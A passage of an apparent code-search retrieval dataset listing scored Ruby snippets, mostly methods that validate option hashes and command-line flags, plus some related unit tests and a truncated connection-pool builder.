"text": "def validate_options(options = {})\n error_messages = []\n\n options.fetch(:ignore_selectors, []).each do | s |\n if s[:pacticipant_name].nil?\n error_messages << \"Please specify the pacticipant name to ignore\"\n else\n if s.key?(:pacticipant_version_number) && s.key?(:latest)\n error_messages << \"A version number and latest flag cannot both be specified for #{s[:pacticipant_name]} to ignore\"\n end\n end\n end\n\n destination_identifiers = [options[:tag], options[:environment_name], options[:main_branch]&.to_s].compact\n\n if destination_identifiers.size > 1\n error_messages << message(\"errors.validation.cannot_specify_more_than_one_destination_identifier\")\n end\n\n if options[:latest] && options[:environment_name]&.not_blank?\n error_messages << message(\"errors.validation.cannot_specify_latest_and_environment\")\n end\n\n if options[:environment_name]&.not_blank? && environment_service.find_by_name(options[:environment_name]).nil?\n error_messages << message(\"errors.validation.environment_with_name_not_found\", name: options[:environment_name])\n end\n\n if options[:limit] && options[:limit].to_i < 1\n error_messages << message(\"errors.validation.invalid_limit\")\n end\n\n error_messages\n end",
"title": ""
},
{
"docid": "b1328f7224564678d2cd9f96658fd054",
"score": "0.70564294",
"text": "def validate_options; end",
"title": ""
},
{
"docid": "86719f56f11edd3cb12631f13bf4845e",
"score": "0.70558435",
"text": "def validate_options\n true\n end",
"title": ""
},
{
"docid": "465ef4712d345ac1584fbf6d0df99533",
"score": "0.70473266",
"text": "def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n # skip_test: false,\n # skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"title": ""
},
{
"docid": "ec21aa95dc8720b189921c29c83f1dbd",
"score": "0.7040955",
"text": "def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n skip_test: false,\n skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"title": ""
},
{
"docid": "562c7bcb5e9e561bbaf198474b47e9c9",
"score": "0.69715536",
"text": "def validate_options(options = {})\n base_unity_url = options.fetch(:base_unity_url, @base_unity_url)\n username = options.fetch(:username, @username)\n password = options.fetch(:password, @password)\n appname = options.fetch(:appname, @appname)\n\n raise ArgumentError, 'base_unity_url can not be nil' if base_unity_url.nil?\n raise ArgumentError, 'username can not be nil' if username.nil?\n raise ArgumentError, 'password can not be nil' if password.nil?\n raise ArgumentError, 'appname can not be nil' if appname.nil?\n end",
"title": ""
},
{
"docid": "56b3768cd76bc9bb8bf19725cad27621",
"score": "0.69597036",
"text": "def validate_options(options)\n unless options.kind_of?(Hash)\n raise ArgumentError, \"You must pass a Hash, not: #{options.inspect}\"\n end\n\n options.assert_valid_keys(:visibility, :prefix, :delegate, :unknown_fields, :compress, :header)\n\n unless [ nil, :private, :public ].include?(options[:visibility])\n raise ArgumentError, \"Invalid value for :visibility: #{options[:visibility.inspect]}\"\n end\n\n unless [ :delete, :preserve, nil ].include?(options[:unknown_fields])\n raise ArgumentError, \"Invalid value for :unknown_fields: #{options[:unknown_fields].inspect}\"\n end\n\n unless [ true, false, nil ].include?(options[:compress]) || options[:compress].kind_of?(Integer)\n raise ArgumentError, \"Invalid value for :compress: #{options[:compress].inspect}\"\n end\n\n unless [ true, false, nil ].include?(options[:header])\n raise ArgumentError, \"Invalid value for :header: #{options[:header].inspect}\"\n end\n\n case options[:prefix]\n when nil then nil\n when String, Symbol then nil\n else raise ArgumentError, \"Invalid value for :prefix: #{options[:prefix].inspect}\"\n end\n\n unless [ nil, true, false, :private, :public ].include?(options[:delegate])\n raise ArgumentError, \"Invalid value for :delegate: #{options[:delegate].inspect}\"\n end\n\n if options[:visibility] == :private && options[:delegate] == :public\n raise ArgumentError, \"You can't have public delegation if methods in the flex column are private; this makes no sense, as methods in the model class would have *greater* visibility than methods on the flex column itself\"\n end\n end",
"title": ""
},
{
"docid": "88c3d025f254393610c5f1b1e6e86104",
"score": "0.6945027",
"text": "def validate_options!(options)\n if options[:chef_api] == :config\n return true\n end\n\n missing_options = [:node_name, :client_key] - options.keys\n\n unless missing_options.empty?\n missing_options.collect! { |opt| \"'#{opt}'\" }\n msg = \"Source '#{name}' is a 'chef_api' location with a URL for it's value\"\n msg << \" but is missing options: #{missing_options.join(', ')}.\"\n\n raise Berkshelf::InvalidChefAPILocation, msg\n end\n\n self.class.validate_node_name!(options[:node_name])\n self.class.validate_client_key!(options[:client_key])\n self.class.validate_uri!(options[:chef_api])\n end",
"title": ""
},
{
"docid": "a139b45c48fbec4d780426e1477861aa",
"score": "0.69416636",
"text": "def validate_options(options, attrs)\n matched_attrs = options.keys & attrs\n if matched_attrs.to_set != attrs.to_set\n raise HelpScoutDocs::Error::OptionsError.new(\"#{(attrs - matched_attrs).join(\", \")} required options are missing\")\n end\n end",
"title": ""
},
{
"docid": "610c5412e5a903eed95aa5fd12bc7e6c",
"score": "0.69319415",
"text": "def validate_arguments\n if(!@options.parse || !@@sections.include?(@options.parse))\n @log.error \"select one of the following to parse: #{@@sections.join(\"|\")}\"\n exit!\n end\n \n if(!@options.download && !@options.file)\n @log.error \"Select either to download the file remotely or supply the given file\"\n exit!\n end\n \n if(!@options.output)\n @log.error \"supply an output directory with -o\"\n exit!\n end\n \n return true\n end",
"title": ""
},
{
"docid": "a5dd23d7c86fcb4035d462902e81de66",
"score": "0.68647975",
"text": "def options(opt); end",
"title": ""
},
{
"docid": "a5dd23d7c86fcb4035d462902e81de66",
"score": "0.68639684",
"text": "def options(opt); end",
"title": ""
},
{
"docid": "e9430fd868545a4db71b1c284a25d5b2",
"score": "0.68605655",
"text": "def valid_options!\n @options.keys.uniq.each do |key|\n raise WhmArgumentError.new(\"Not a valid parameter: #{key}\") unless @optional_params.include?(key)\n end\n end",
"title": ""
},
{
"docid": "ccfcfbae4d5a55b6c35b266127796ace",
"score": "0.6797376",
"text": "def valid_opts\n true\n end",
"title": ""
},
{
"docid": "38d454a149b74756f3c5476bc76b7c46",
"score": "0.6794714",
"text": "def validate_opts\n validate_opts_file if options[:file]\n end",
"title": ""
},
{
"docid": "2afcaf62a609e6dc2613620b4a8c9bf8",
"score": "0.679424",
"text": "def method_missing(name, *_args)\n fail \"Unknown option #{name.to_s.gsub!('=', '')}\"\n end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "1aac6836d730500e5a86c385e125bebb",
"score": "0.67811656",
"text": "def missing_option; end",
"title": ""
},
{
"docid": "3f3164d33e41bc7387dd4b43d32c2581",
"score": "0.67771125",
"text": "def process_options\n options.delete_if { |x,y| y.nil? }\n if options.empty?\n puts @optparse \n exit 0\n end\n options.each do |x,y|\n begin\n if y.to_s.match('^-')\n raise BoilerMakerErr.new(\"Bad args: \\\"#{y}\\\" is not a valid arg to option, \\\"--#{x}\\\". Use the -h flag for syntax help.\")\n end\n rescue => error\n puts error.message + \"\\n\"\n exit 1\n end\n end\n end",
"title": ""
},
{
"docid": "ec4d8c1d53fb9b3a53ab2c2962e4f756",
"score": "0.6769993",
"text": "def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"title": ""
},
{
"docid": "ec4d8c1d53fb9b3a53ab2c2962e4f756",
"score": "0.6769993",
"text": "def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"title": ""
},
{
"docid": "d8087fb4ac4de2cd9cc70ca59e33bf00",
"score": "0.67628175",
"text": "def validate_client_options(options)\n # Users can no longer provide their own clients due to rewrite of auth\n # in https://github.com/google/google-api-ruby-client/ version 0.9.\n if options[:google_client]\n raise ArgumentError.new(\"Deprecated argument no longer works: google_client\")\n end\n\n # They can also no longer use pkcs12 files, because Google's new auth\n # library doesn't support them either.\n if options[:google_key_location]\n raise ArgumentError.new(\"Deprecated auth method no longer works: google_key_location\")\n end\n if options[:google_key_string]\n raise ArgumentError.new(\"Deprecated auth method no longer works: google_key_string\")\n end\n\n # Google client email option is no longer needed\n if options[:google_client_email]\n Fog::Logger.deprecation(\"Argument no longer needed for auth: google_client_email\")\n end\n\n # Validate required arguments\n unless options[:google_api_scope_url]\n raise ArgumentError.new(\"Missing required arguments: google_api_scope_url\")\n end\n end",
"title": ""
},
{
"docid": "312fe63eae26f271f7f185823a86f97b",
"score": "0.6756094",
"text": "def assert_not_empty\n if options.empty?\n raise \":length, :maxmimum or :minimum must be given as option\"\n end\n end",
"title": ""
},
{
"docid": "fad6231993c70163ac5411a477ec52e0",
"score": "0.6736441",
"text": "def arguement_check(options)\n args = [\"access_key_id\", \"secret_access_key\", \"bucket_name\"] \n args.each do |arg|\n begin\n options.fetch(arg)\n rescue KeyError\n raise ArgumentError, \"Argument #{arg} is required.\"\n end\n end\n end",
"title": ""
},
{
"docid": "7a139d6ee27c11f0a3fcd1632604400c",
"score": "0.67258966",
"text": "def validate_opts\n if @options[:file].nil?\n puts \"Pass me some filename (-f FILE)\"\n return false\n elsif !File.exists?(@options[:file])\n puts \"File: #{@options[:file]} does not exist\"\n return false\n elsif !File.readable?(@options[:file])\n puts \"File: #{@options[:file]} is not readable\"\n return false\n elsif File.directory?(@options[:file])\n puts \"#{@options[:file]} is a directory!\"\n return false\n elsif File.zero?(@options[:file])\n puts \"File: #{@options[:file]} is empty\"\n return false\n end\n\n if @options[:mode].nil?\n puts \"Pass me indexing mode (-m index|noindex )\"\n return false\n end\n return true\n end",
"title": ""
},
{
"docid": "f71084ab287a178aeb3e1cfa1d616e2f",
"score": "0.67229044",
"text": "def validate\n opts = options.dup\n opts[0] = \"1\"\n set(options: opts)\n end",
"title": ""
},
{
"docid": "8fdc1f312abf274adda313fd58b92237",
"score": "0.67181146",
"text": "def verify_options_hook; end",
"title": ""
},
{
"docid": "b48baeffb217b55e03333172755b91a2",
"score": "0.66829216",
"text": "def check_option(opt, opts, msg = \"#{opt.to_s} option must be specified\")\n raise msg if opts[opt] == nil\n end",
"title": ""
},
{
"docid": "1dbfdd7540f9cc69bf3c82098ada81fc",
"score": "0.6658864",
"text": "def validate_comparison_options(args, options)\n\n if args.empty?\n $stderr.puts(\"You have to provide benchmark files (*.csv) to analyze.\")\n exit!\n end\n\n if options.recwindow < 0\n $stderr.puts(\"Error in --recwindow flag: TCP standard receive window must be >= 0 bytes.\\n\")\n exit!\n end\n\n if options.yaxis_max < 0\n $stderr.puts(\"Error in --yaxis_max flag: Maximum value on yaxis must be >= 0.\\n\")\n end\n\n if options.xaxis_max < 0\n $stderr.puts(\"Error in --xaxis_max flag: Maximum value on xaxis must be >= 0.\\n\")\n exit!\n end\n\n if options.xaxis_steps <= 0\n $stderr.puts(\"Error in --xaxis_steps flag: You must provide a positive step > 0.\\n\")\n exit!\n end\n\nend",
"title": ""
},
{
"docid": "e9e8843ab43f37317a9e1414840f301d",
"score": "0.6646305",
"text": "def options\n validate_or_get_results :options\n end",
"title": ""
},
{
"docid": "d48a413b81d8a121617cce8ebe9ccd57",
"score": "0.6634712",
"text": "def validate_options\n required_keys = {\n # 'azure' => %w(cert_path subscription_id region default_key_name logical_name),\n 'azure' => %w(),\n 'registry' => []\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if !options.has_key?(key) || !options[key].has_key?(value)\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n end",
"title": ""
},
{
"docid": "8efd201f4c272b3b7d459c344da016df",
"score": "0.66320354",
"text": "def validate!\n # Set @error_text if the options are not valid\n end",
"title": ""
},
{
"docid": "cef7f1c8dcb73fb706625ae62199da66",
"score": "0.6621706",
"text": "def sanitize_options(options)\n options.keys.each do |key|\n unless Facade.options[:valid_find_options].include?(key) || Facade.options[:valid_list_options].include?(key)\n raise InvalidListOptions, \"Bad key passed: #{key}\"\n end\n end\n end",
"title": ""
},
{
"docid": "d56f9c5def0c2b5db9e25402450a4d81",
"score": "0.6583382",
"text": "def option_req(option_name)\n throw :notimpl\n end",
"title": ""
},
{
"docid": "81c90eeacb4f6e8b5d24fcf8d4082440",
"score": "0.65788597",
"text": "def handle_failed_option param, value\n @options_ok = false\n end",
"title": ""
},
{
"docid": "64387b49ac4941dcaaa52168e56a52e5",
"score": "0.6563424",
"text": "def _process_options(options); end",
"title": ""
},
{
"docid": "64387b49ac4941dcaaa52168e56a52e5",
"score": "0.6563424",
"text": "def _process_options(options); end",
"title": ""
},
{
"docid": "05e6d42766ad743fae6bac7aadc51e1e",
"score": "0.65468735",
"text": "def validate_public_options(options)\n options.each do |k, _v|\n case k\n when :controller_info,\n /enabled_for_/,\n :enabled,\n :whodunnit\n next\n else\n raise InvalidOption, \"Invalid option: #{k}\"\n end\n end\n end",
"title": ""
},
{
"docid": "615d7e3276a49d397b0d62679ed5499a",
"score": "0.6545095",
"text": "def assert_option(opt)\n if !@options.has_key?(opt)\n puts \"Option #{opt} was not found! Check config files and add #{opt} to continue\".red\n raise \"Missing configuration options\"\n end\n end",
"title": ""
},
{
"docid": "0bc8a3f8733dcc4ffb54b29bd107dee7",
"score": "0.653962",
"text": "def initialize(options = {})\n (options.keys - DEFAULTS.keys - EXTRA_OPTIONS)[0..1].each do |missing|\n raise ArgumentError, \"Invalid option: #{missing}\"\n end\n @options = options\n end",
"title": ""
},
{
"docid": "f8ffa487318ad2cfb488aa89cc02f8a3",
"score": "0.65229636",
"text": "def _check_options(text)\n ret = true\n if @options\n unless @options.include?(text)\n @last_error_message = \"Invalid option chosen (\\\"#{ text }\\\"); \" \\\n \"valid options are: #{ options }\"\n ret = false\n end\n end\n ret\n end",
"title": ""
},
{
"docid": "b68a29e0cc752351e34dd9286e3178df",
"score": "0.651633",
"text": "def validate_run_options(args, options)\n\n if (options.machine.empty?)\n $stderr.puts(\"You have to tag your benchmark data with the --machine flag.\\n\")\n exit!\n end\n\n if (options.experiment.empty?)\n $stderr.puts(\"You have to tag your benchmark data with the --experiment flag.\\n\")\n exit!\n end\n\n if options.coverage < 0 || options.coverage > 1.0\n $stderr.puts(\"Error in --coverage flag: Coverage must be in [0..1.0]\\n\")\n exit!\n end\n\n if options.repetitions < 1\n $stderr.puts(\"Error in --repetitions flag: Repetitions must be >= 1\\n\")\n exit!\n end\n\n if options.concurrency < 1\n $stderr.puts(\"Error in --concurrency flag: Concurrency must be >= 1\\n\")\n exit!\n end\n\n if options.timeout < 1\n $stderr.puts(\"Error in --timeout flag: Timeout must be >= 1 seconds\\n\")\n exit!\n end\n\n if args.empty?\n $stderr.puts(\"You have to specify a log file.\\n\")\n exit!\n end\n\n if args.length > 1\n $stderr.puts(\"You should only specify one log file. You specified #{args.length} logfiles.\\n\")\n exit!\n end\n\n if File.exist?(args[0])\n $stderr.puts(\"Logfile #{args[0]} already exists. You do not want to overwrite collected benchmark data.\\n\")\n exit!\n end\n\nend",
"title": ""
},
{
"docid": "3b27557770aa54213f9460e7afc14dd3",
"score": "0.65155613",
"text": "def options(opt)\n end",
"title": ""
},
{
"docid": "c38edcd84bc1ae5289b2a71c0528a475",
"score": "0.64856666",
"text": "def quoteoptions()\n fail \"Not yet implemented\"\n end",
"title": ""
},
{
"docid": "d2e88fdb1c030177c1d06d905684b382",
"score": "0.64821774",
"text": "def validate_options(options)\n raise TypeError.new(\"provided options must be a Hash\") unless options.is_a?(Hash)\n check_for_illegal_keys!(options)\n options = set_deduct_call_time_based_on_metric(DEFAULT_SETTINGS.merge(options))\n check_for_push_scope_and_metric(options)\n options\n end",
"title": ""
},
{
"docid": "e9533b53365d63ec3b2f52ba546feb23",
"score": "0.6474648",
"text": "def validate_plot_options(args, options)\n\n if args.empty?\n $stderr.puts(\"You have to provide benchmark files (*.csv) to analyze.\")\n exit!\n end\n\n if options.recwindow < 0\n $stderr.puts(\"Error in --recwindow flag: TCP standard receive window must be >= 0 bytes\\n\")\n exit!\n end\n\n if options.confidence < 0 || options.confidence > 100\n $stderr.puts(\"Error in --confidence flag: Confidence interval must be between 0 and 100 %.\\n\")\n exit!\n end\n\n if options.yaxis_max < 0\n $stderr.puts(\"Error in --yaxis_max flag: Maximum value on yaxis must be >= 0.\\n\")\n end\n\n if options.yaxis_steps <= 0\n $stderr.puts(\"Error in --yaxis_steps flag: You must provide a positive step > 0.\\n\")\n exit!\n end\n\n if options.xaxis_max < 0\n $stderr.puts(\"Error in --xaxis_max flag: Maximum value on xaxis must be >= 0.\\n\")\n exit!\n end\n\n if options.xaxis_steps <= 0\n $stderr.puts(\"Error in --xaxis_steps flag: You must provide a positive step > 0.\\n\")\n exit!\n end\n\n if options.nopoints && !options.withbands\n $stderr.puts(\"Error in --nopoints flag. You must use --withbands if applying --nopoints. Otherwise nothing would be plotted.\\n\")\n exit!\n end\n\nend",
"title": ""
},
{
"docid": "fb67fee52cc4c8e964aee1b48d9d1ec8",
"score": "0.6466761",
"text": "def valid?(options)\n (@required_options - options.keys).size == 0\n end",
"title": ""
},
{
"docid": "f75cb4fbfaac6d26d44972bfdb1a1023",
"score": "0.6455711",
"text": "def test_add_option04f\n assert_raise ( RuntimeError ) {\n ArgumentManager.add_option(\n [ 'x' ],\n :type => :string,\n :domain => 0\n )\n }\n end",
"title": ""
},
{
"docid": "e2a644a17150ab41c04cbd9cfc9f50d3",
"score": "0.64518774",
"text": "def validate_options(options)\n return super unless backend\n super(options.slice(*(options.keys - backend.valid_keys)))\n\n # Validate that the default backend from config has valid keys, or if\n # it is overridden by an array input that the array has valid keys.\n if options[:backend].is_a?(Array)\n name, backend_options = options[:backend]\n extra_keys = backend_options.keys - backend.valid_keys\n raise InvalidOptionKey, \"These are not valid #{name} backend keys: #{extra_keys.join(', ')}.\" unless extra_keys.empty?\n end\n end",
"title": ""
},
{
"docid": "e0a20eb76ea1e2c062a7e8b524e24e16",
"score": "0.6425837",
"text": "def validate_options\n if @username == nil or @username.empty?\n raise \"You need to provide a Delicious username\"\n end\n end",
"title": ""
},
{
"docid": "a45f03e5c20541ab5598504393fee8e0",
"score": "0.64196366",
"text": "def test_add_option04g\n assert_raise ( RuntimeError ) {\n ArgumentManager.add_option(\n [ 'y' ],\n :type => :string,\n :domain => ['foo', 'foo']\n )\n }\n end",
"title": ""
},
{
"docid": "1e796844089ba8552fb0b038bb99eb8c",
"score": "0.64128643",
"text": "def check_for_illegal_keys!(options)\n if any_unrecognized_keys?(ALLOWED_KEYS, options)\n raise \"Unrecognized options in add_method_tracer_call: #{unrecognized_keys(ALLOWED_KEYS, options).join(', ')}\"\n end\n end",
"title": ""
},
{
"docid": "678e3715b78348f0ee8dfdc72c7a42fb",
"score": "0.6411725",
"text": "def sanitize_opts!\n @opts.each_key do |key|\n unless VALID_OPTS.include? key\n raise Monga::Exceptions::InvalidClientOption, \"`#{key}` is invalid option for Client. Following options are valid: #{VALID_OPTS * ', '}\"\n end\n end\n end",
"title": ""
},
{
"docid": "bde16041482d87c4d04f5541c91ed8eb",
"score": "0.640153",
"text": "def validate_options(opts, valid_options = VALID_FIELDS)\n super(opts,valid_options)\n end",
"title": ""
},
{
"docid": "bde16041482d87c4d04f5541c91ed8eb",
"score": "0.640153",
"text": "def validate_options(opts, valid_options = VALID_FIELDS)\n super(opts,valid_options)\n end",
"title": ""
},
{
"docid": "0c6b009ae4f7a20ca2fa3856096dc401",
"score": "0.63985884",
"text": "def assert_options_empty!(options)\n unless options.empty?\n raise ConfigurationError, \"unknown options #{options.inspect} for #{self}\"\n end\n end",
"title": ""
},
{
"docid": "bdf7f8ab683828795216fa5763fa4c00",
"score": "0.6392643",
"text": "def test_add_option04h\n assert_raise ( RuntimeError ) {\n ArgumentManager.add_option(\n [ 'z' ],\n :type => :string,\n :df_str => 0\n )\n }\n end",
"title": ""
},
{
"docid": "09ffa27e0554409166e6b02f359d0cc9",
"score": "0.63925296",
"text": "def test_add_option03h\n assert_raise( RuntimeError ) { \n ArgumentManager.add_option(\n [ 'p' ],\n :type => :integer,\n :min => -1,\n :max => +1,\n :df_int => 5\n )\n }\n end",
"title": ""
},
{
"docid": "1c4b2de412fdeb55015e1dbf24c339b1",
"score": "0.63916373",
"text": "def validate_options(options, klass)\n raise(ArgumentError, \"Options cannot be \" + options.class.name) unless options.is_a?(klass) || options.is_a?(Hash)\n options.is_a?(Glassfrog::Base) ? options.hashify : options\n end",
"title": ""
},
{
"docid": "385797f5c9fc127ef9cfb6c90e9dec4b",
"score": "0.63894963",
"text": "def wrong\n puts \"That isn't an option.\"\nend",
"title": ""
},
{
"docid": "327c343923e68e27194c10b3cc758405",
"score": "0.6387934",
"text": "def test_add_option04i\n assert_raise ( RuntimeError ) {\n ArgumentManager.add_option(\n [ 'sa' ],\n :type => :string,\n :domain => ['foo', 'bar'],\n :df_str => 'baz'\n )\n }\n end",
"title": ""
},
{
"docid": "9fd8f5bac838b3a81eddea5a52dd9a17",
"score": "0.6382422",
"text": "def missing_option=(_arg0); end",
"title": ""
},
{
"docid": "9fd8f5bac838b3a81eddea5a52dd9a17",
"score": "0.6382422",
"text": "def missing_option=(_arg0); end",
"title": ""
},
{
"docid": "9fd8f5bac838b3a81eddea5a52dd9a17",
"score": "0.6382422",
"text": "def missing_option=(_arg0); end",
"title": ""
},
{
"docid": "9fd8f5bac838b3a81eddea5a52dd9a17",
"score": "0.6382422",
"text": "def missing_option=(_arg0); end",
"title": ""
},
{
"docid": "9fd8f5bac838b3a81eddea5a52dd9a17",
"score": "0.6382422",
"text": "def missing_option=(_arg0); end",
"title": ""
},
{
"docid": "9fd8f5bac838b3a81eddea5a52dd9a17",
"score": "0.6382422",
"text": "def missing_option=(_arg0); end",
"title": ""
},
{
"docid": "10bd156520078a6c816eaa4fc14377d7",
"score": "0.6351315",
"text": "def validate(option)\n raise ArgumentError, 'option argument is missing' unless option\n option_path = \"./config/options/#{option}.yml\"\n raise ArgumentError, \"config/options/#{option}.yml file is missing\" unless File.exist?(option_path)\n end",
"title": ""
},
{
"docid": "bc0090c65409942a049086d70cd00eef",
"score": "0.6350757",
"text": "def check_validity!\n keys = CHECKS.keys\n options.slice(*keys).each do |option, value|\n next if is_time?(value) || value.is_a?(Proc) || value.is_a?(Symbol) || (defined?(ActiveSupport::TimeWithZone) and value.is_a? ActiveSupport::TimeWithZone)\n raise ArgumentError, \":#{option} must be a time, a date, a time_with_zone, a symbol or a proc\"\n end\n end",
"title": ""
},
{
"docid": "98341347bb2e14f2564414603c0f996d",
"score": "0.63454103",
"text": "def options_ok?\n end",
"title": ""
},
{
"docid": "313e4c523aa48f854210099eb79845b3",
"score": "0.6338431",
"text": "def valid_arguments?\n begin\n if(@options.file)\n raise LoadError,\"The file you specified doesn't exist: #{@options.file}\" if File.exist?(@options.file) == false\n else\n @log.error \"Select a file using -f or --file FILE\"\n exit!\n end\n \n if(@options.output)\n # not going to worry about this one.\n else\n @log.error \"No output was specified select using -o or --output\"\n exit!\n end\n rescue LoadError => bam\n @log.error bam\n exit!\n end\n \n return true\n end",
"title": ""
},
{
"docid": "847b08a3e75446ec45018fec48febeee",
"score": "0.63238895",
"text": "def parse_options(options)\n options.each do |opt, val|\n #option.each do |opt, val|\n case opt\n when :column\n self.bitflag_column = val.to_s\n when :group\n self.bitflag_group = val.to_s\n #raise RuntimeError, 'Groups not supported for alpha version...'\n else\n raise RuntimeError, \"BitFlag: unrecognized option: #{opt.class} #{options.class}\" + opt.to_s\n end\n #end\n end\n end",
"title": ""
},
{
"docid": "b72fd5a7792b186af4f772e5b47e1a86",
"score": "0.6315423",
"text": "def valid_options\n []\n end",
"title": ""
},
{
"docid": "40da8f166bf0b2ec5c7ee05637cb837e",
"score": "0.63063484",
"text": "def validate_pdf_options(args, options)\n if options.height < 1\n $stderr.puts(\"Error in --height flag. You must provide a positive height >= 1 in inch.\\n\")\n exit!\n end\n\n if options.width < 1\n $stderr.puts(\"Error in --width flag. You must provide a positive width >= 1 in inch.\\n\")\n exit!\n end\nend",
"title": ""
},
{
"docid": "414b92374a2a79952cfcc77a6e48401a",
"score": "0.6293352",
"text": "def validate_holding_options!(options)\n unpermitted_params = []\n required_params = {}\n\n case holding_opts[:on_hand_type]\n when :closed\n required_params[:amount] = [Integer]\n when :open\n required_params[:amount] = [Integer]\n when :none\n unpermitted_params << :amount\n end\n\n # Actual validation\n unpermitted_params = unpermitted_params.select { |p| options.key?(p) }\n .map { |p| \"'#{p}'\" }\n\n wrong_types = required_params\n .select { |k, v| options.key?(k) && v.select { |type| options[k].is_a?(type) }.length.zero? }\n .map { |k, v| \"'#{k}' must be a '#{v.join(' or ')}' but '#{options[k].class}' found\" }\n\n required_params = required_params.reject { |k, _v| options.key?(k) }\n .map { |k, _v| \"'#{k}'\" }\n\n # Raise OptionsInvalid if some invalid parameters were found\n if (unpermitted_params.length + required_params.length + wrong_types.length).positive?\n message = ''\n message << \" unpermitted parameters: #{unpermitted_params.join(',')}.\" unless unpermitted_params.empty?\n message << \" missing parameters: #{required_params.join(',')}.\" unless required_params.empty?\n message << \" parameters type mismatch: #{wrong_types.join(',')}\" unless wrong_types.empty?\n raise ActsAsHoldable::OptionsInvalid.new(self, message)\n end\n true\n end",
"title": ""
},
{
"docid": "fa519d1c285e853464c6e0d4b28af315",
"score": "0.6289186",
"text": "def valid_options(*opts)\n Array(opts).each do |opt|\n CookbookSource.add_valid_option(opt)\n end\n end",
"title": ""
},
{
"docid": "495419ea568ab1c50e1d8023645231e6",
"score": "0.6285046",
"text": "def options() end",
"title": ""
},
{
"docid": "3fa920780c06ab90c14407b98d2f13e4",
"score": "0.6270936",
"text": "def validate_options\n errors.add(:base, 'pipeline_name is required') unless options['pipeline_name'].present?\n if options['data'].blank?\n errors.add(:base, 'data is required')\n else\n errors.add(:base, 'file_name is required') unless options['data']['file_name'].present?\n end\n end",
"title": ""
},
{
"docid": "3b377dd9942fde251f61959962fe9bd5",
"score": "0.62600124",
"text": "def validate(option)\n unless Config.settings.keys.include?(option.to_sym)\n raise Errors::InvalidConfigOption.new(option)\n end\n end",
"title": ""
}
] |
f5bdbc65b7697b38c09aa7459ff62831
|
Options: +rlp_services+ services used to talk to remote RLP DBs. +pool_size+ thread pool size
|
[
{
"docid": "6ce25597a052690afefdc97f4a55f75d",
"score": "0.6873933",
"text": "def initialize(options={})\n @rlp_services = options.fetch(:rlp_services)\n @distance = options.fetch(:distance)\n pool_size = options.fetch(:pool_size, 3)\n @pool = Concurrent::FixedThreadPool.new(pool_size)\n @timeout = 15\n end",
"title": ""
}
] |
[
{
"docid": "462741889420a28396c61926e6b7f8f3",
"score": "0.59881055",
"text": "def build_pool(options)\n hosts = options[:hosts] || [\"127.0.0.1\"]\n client_settings = options[:client_settings] || {}\n timeout = options[:timeout] || 0\n\n host_ssl_opt = client_settings[:ssl].nil? ? nil : client_settings[:ssl][:enabled]\n urls = hosts.map {|host| host_to_url(host, host_ssl_opt, client_settings[:path])}\n\n adapter_options = {\n :socket_timeout => timeout,\n :request_timeout => timeout,\n }\n\n adapter_options[:proxy] = client_settings[:proxy] if client_settings[:proxy]\n\n adapter_options[:check_connection_timeout] = client_settings[:check_connection_timeout] if client_settings[:check_connection_timeout]\n\n # Having this explicitly set to nil is an error\n if client_settings[:pool_max]\n adapter_options[:pool_max] = client_settings[:pool_max]\n end\n\n # Having this explicitly set to nil is an error\n if client_settings[:pool_max_per_route]\n adapter_options[:pool_max_per_route] = client_settings[:pool_max_per_route]\n end\n\n adapter_options[:ssl] = client_settings[:ssl] if 